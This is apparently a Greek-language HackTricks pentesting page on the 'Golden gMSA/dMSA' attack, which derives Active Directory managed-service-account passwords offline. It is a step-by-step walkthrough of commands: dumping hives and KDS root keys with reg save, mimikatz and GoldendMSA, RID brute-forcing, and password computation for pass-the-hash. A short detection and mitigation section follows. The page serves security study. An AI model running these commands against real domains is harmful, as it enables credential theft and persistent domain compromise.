Χρυσή επίθεση gMSA/dMSA (Offline Derivation of Managed Service Account Passwords)
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Οι Λογαριασμοί Υπηρεσιών Διαχείρισης Windows (MSA) είναι ειδικοί κύριοι που έχουν σχεδιαστεί για να εκτελούν υπηρεσίες χωρίς την ανάγκη χειροκίνητης διαχείρισης των κωδικών πρόσβασης τους. Υπάρχουν δύο κύριες παραλλαγές:
- gMSA – ομαδικός Λογαριασμός Υπηρεσίας Διαχείρισης – μπορεί να χρησιμοποιηθεί σε πολλαπλούς υπολογιστές που είναι εξουσιοδοτημένοι στο χαρακτηριστικό
msDS-GroupMSAMembership
του. - dMSA – εξουσιοδοτημένος Λογαριασμός Υπηρεσίας Διαχείρισης – ο (προεπισκόπηση) διάδοχος του gMSA, που βασίζεται στην ίδια κρυπτογραφία αλλά επιτρέπει πιο λεπτομερείς σενάρια εξουσιοδότησης.
Για και τις δύο παραλλαγές, ο κωδικός πρόσβασης δεν αποθηκεύεται σε κάθε Domain Controller (DC) όπως ένας κανονικός NT-hash. Αντίθετα, κάθε DC μπορεί να παράγει τον τρέχοντα κωδικό πρόσβασης εν κινήσει από:
- Το κλειδί KDS Root Key σε επίπεδο δάσους (
KRBTGT\KDS
) – τυχαία παραγόμενο GUID-ονομασμένο μυστικό, αναπαραγόμενο σε κάθε DC κάτω από το δοχείοCN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …
. - Το SID του στοχευόμενου λογαριασμού.
- Ένα ManagedPasswordID ανά λογαριασμό (GUID) που βρίσκεται στο χαρακτηριστικό
msDS-ManagedPasswordId
.
Η παραγωγή είναι: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )
→ 240 byte blob τελικά base64-encoded και αποθηκευμένο στο χαρακτηριστικό msDS-ManagedPassword
.
Δεν απαιτείται καμία κίνηση Kerberos ή αλληλεπίδραση με το domain κατά τη διάρκεια της κανονικής χρήσης κωδικού πρόσβασης – ένας μέλος υπολογιστής παράγει τον κωδικό πρόσβασης τοπικά όσο γνωρίζει τις τρεις εισόδους.
Χρυσή επίθεση gMSA / Χρυσή dMSA
Εάν ένας επιτιθέμενος μπορεί να αποκτήσει και τις τρεις εισόδους offline, μπορεί να υπολογίσει έγκυρους τρέχοντες και μελλοντικούς κωδικούς πρόσβασης για οποιονδήποτε gMSA/dMSA στο δάσος χωρίς να αγγίξει ξανά το DC, παρακάμπτοντας:
- Τον έλεγχο ανάγνωσης LDAP
- Τα διαστήματα αλλαγής κωδικών πρόσβασης (μπορούν να προϋπολογίσουν)
Αυτό είναι ανάλογο με ένα Χρυσό Εισιτήριο για λογαριασμούς υπηρεσιών.
Προαπαιτούμενα
- Συμβιβασμός σε επίπεδο δάσους ενός DC (ή Enterprise Admin), ή πρόσβαση
SYSTEM
σε έναν από τους DCs στο δάσος. - Δυνατότητα καταμέτρησης λογαριασμών υπηρεσιών (ανάγνωση LDAP / brute-force RID).
- .NET ≥ 4.7.2 x64 workstation για να τρέξει
GoldenDMSA
ή ισοδύναμο κώδικα.
Χρυσή gMSA / dMSA
Φάση 1 – Εξαγωγή του KDS Root Key
Dump από οποιοδήποτε DC (Volume Shadow Copy / raw SAM+SECURITY hives ή απομακρυσμένα μυστικά):
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
Η συμβολοσειρά base64 που ονομάζεται RootKey
(όνομα GUID) απαιτείται σε επόμενα βήματα.
Φάση 2 – Καταμέτρηση αντικειμένων gMSA / dMSA
Ανακτήστε τουλάχιστον sAMAccountName
, objectSid
και msDS-ManagedPasswordId
:
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
GoldenDMSA
υλοποιεί βοηθητικές λειτουργίες:
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Φάση 3 – Μαντέψτε / Ανακαλύψτε το ManagedPasswordID (όταν λείπει)
Ορισμένες αναπτύξεις αφαιρούν το msDS-ManagedPasswordId
από τις αναγνώσεις που προστατεύονται από ACL.
Δεδομένου ότι το GUID είναι 128-bit, η απλή βίαιη δοκιμή είναι μη εφικτή, αλλά:
- Τα πρώτα 32 bits = Unix epoch time της δημιουργίας του λογαριασμού (ανάλυση λεπτών).
- Ακολουθούν 96 τυχαία bits.
Επομένως, μια στενή λίστα λέξεων ανά λογαριασμό (± λίγες ώρες) είναι ρεαλιστική.
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
Το εργαλείο υπολογίζει υποψήφιες κωδικούς πρόσβασης και συγκρίνει το base64 blob τους με το πραγματικό msDS-ManagedPassword
χαρακτηριστικό – η αντιστοιχία αποκαλύπτει το σωστό GUID.
Φάση 4 – Υπολογισμός & Μετατροπή Κωδικού Πρόσβασης εκτός σύνδεσης
Μόλις γνωρίζεται το ManagedPasswordID, ο έγκυρος κωδικός πρόσβασης είναι ένα βήμα μακριά:
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
Οι παραγόμενοι κατακερματισμοί μπορούν να εισαχθούν με mimikatz (sekurlsa::pth
) ή Rubeus για κατάχρηση Kerberos, επιτρέποντας κρυφή πλευρική κίνηση και επιμονή.
Ανίχνευση & Μετριασμός
- Περιορίστε τις δυνατότητες αντίγραφου ασφαλείας DC και ανάγνωσης μητρώου σε διαχειριστές Tier-0.
- Παρακολουθήστε τη δημιουργία Λειτουργίας Επαναφοράς Υπηρεσιών Καταλόγου (DSRM) ή Αντίγραφο Σκιάς Όγκου σε DCs.
- Ελέγξτε τις αναγνώσεις / αλλαγές στα
CN=Master Root Keys,…
και τις σημαίεςuserAccountControl
των λογαριασμών υπηρεσιών. - Ανιχνεύστε ασυνήθιστες εγγραφές κωδικών πρόσβασης base64 ή ξαφνική επαναχρησιμοποίηση κωδικών πρόσβασης υπηρεσιών σε διάφορους υπολογιστές.
- Σκεφτείτε να μετατρέψετε τις gMSAs υψηλής προνομιακής πρόσβασης σε κλασικούς λογαριασμούς υπηρεσιών με κανονικές τυχαίες περιστροφές όπου η απομόνωση Tier-0 δεν είναι δυνατή.
Εργαλεία
Semperis/GoldenDMSA
– αναφορά υλοποίησης που χρησιμοποιείται σε αυτή τη σελίδα.Semperis/GoldenGMSA
– αναφορά υλοποίησης που χρησιμοποιείται σε αυτή τη σελίδα.mimikatz
–lsadump::secrets
,sekurlsa::pth
,kerberos::ptt
.Rubeus
– pass-the-ticket χρησιμοποιώντας παραγόμενα κλειδιά AES.
Αναφορές
- Golden dMSA – παράκαμψη αυθεντικοποίησης για εξουσιοδοτημένους Διαχειριζόμενους Λογαριασμούς Υπηρεσιών
- gMSA Active Directory Επιθέσεις Λογαριασμών
- Semperis/GoldenDMSA GitHub repository
- Improsec – Χρυσή επίθεση εμπιστοσύνης gMSA
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.